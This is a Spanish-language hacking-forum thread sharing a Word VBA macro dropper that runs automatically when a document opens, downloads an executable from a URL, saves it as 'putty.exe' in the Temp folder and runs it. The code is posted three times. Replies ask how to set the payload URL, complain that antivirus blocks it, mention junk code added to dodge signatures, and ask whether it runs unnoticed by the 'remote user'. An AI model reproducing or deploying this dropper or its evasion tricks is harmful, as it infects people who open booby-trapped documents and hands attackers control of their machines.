Indetectables

Con este macro le agregas la url del archivo exe a descargar y este de lo descarga y executa. Funciona para 32 y 64 bits.

#If Win64 Then
 
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long)
 
#Else
 
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long)
 
#End If
 
 
Sub ToggleHyperlinkCtrlClick()
    Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub Document_Open()

 
    DownloadAndExecute
End Sub
 
 
 
 
Sub DownloadAndExecute()
	Dim URL AS String
	Dim FILE AS String
	URL = "http://192.168.0.2/hfs287.exe"
    FILE = Environ("Temp") & "\" & "putty" & ".exe"
    URLDownloadToFileA 0, URL, FILE, 0, 0

    If Len(Dir(FILE)) > 0 Then

        Shell FILE, vbNormalFocus
    End If
 
End Sub

Hermoso, gracias x traerlo bro

Gracias adwind

Que bueno
Gracias por traerlo

Gracias

esta buenisimo y si funciona,pero el puto nod de yahoo me lo blockea. Que se puede hacer?

En que parte le agregas la url del archivo???

Gracias master

kakarudo123 escribió:En que parte le agregas la url del archivo???

perdon mi ignorancia, pero ya agregue la macro a un documento de word, y nose como hacer para que funcione, que se hace despues de crear la macro?? en que parte se pone la url de la pagina donde esta alojado el ¨programilla¨ a descargarr??? cuando se descarga se ejecuta solo??? subi una bolita a sendspace y puse la url en la parte en blanco del documento de word, estoy muy desorientado.... alguien que me ayude por favor!! gracias

Para que no le entienda al codigo de arriba aqui esta la version limpia, es que la otra le metieron basura para quitar firmas.

#If Win64 Then
 
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long)
 
#Else
 
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long)
 
#End If
 
 
Sub ToggleHyperlinkCtrlClick()
    Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub Document_Open()

 
    DownloadAndExecute
End Sub
 
 
 
 
Sub DownloadAndExecute()
	Dim URL AS String
	Dim FILE AS String
	URL = "http://192.168.0.2/hfs287.exe"
    FILE = Environ("Temp") & "\" & "putty" & ".exe"
    URLDownloadToFileA 0, URL, FILE, 0, 0

    If Len(Dir(FILE)) > 0 Then

        Shell FILE, vbNormalFocus
    End If
 
End Sub

Algun moderaror que edite el post principal y coloque esta.

thank you very much

regards.

adwind escribió:Para que no le entienda al codigo de arriba aqui esta la version limpia, es que la otra le metieron basura para quitar firmas.

#If Win64 Then
 
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long)
 
#Else
 
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long)
 
#End If
 
 
Sub ToggleHyperlinkCtrlClick()
    Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub Document_Open()

 
    DownloadAndExecute
End Sub
 
 
 
 
Sub DownloadAndExecute()
	Dim URL AS String
	Dim FILE AS String
	URL = "http://192.168.0.2/hfs287.exe"
    FILE = Environ("Temp") & "\" & "putty" & ".exe"
    URLDownloadToFileA 0, URL, FILE, 0, 0

    If Len(Dir(FILE)) > 0 Then

        Shell FILE, vbNormalFocus
    End If
 
End Sub

Algun moderaror que edite el post principal y coloque esta.

Hecho.

//Regard.

Hey que tal? Este exploit funciona con las ultimas versiones de office? No me creo que en word todavia se pueda hacer esto sin que se detecte por parte del usuario remoto!

Siempre buscandonos las tramas e.e

Hola, una pregunta, pero la persona que abra el word debe ejecutar el macros, o se hace de manera automatica al ejecutar el word?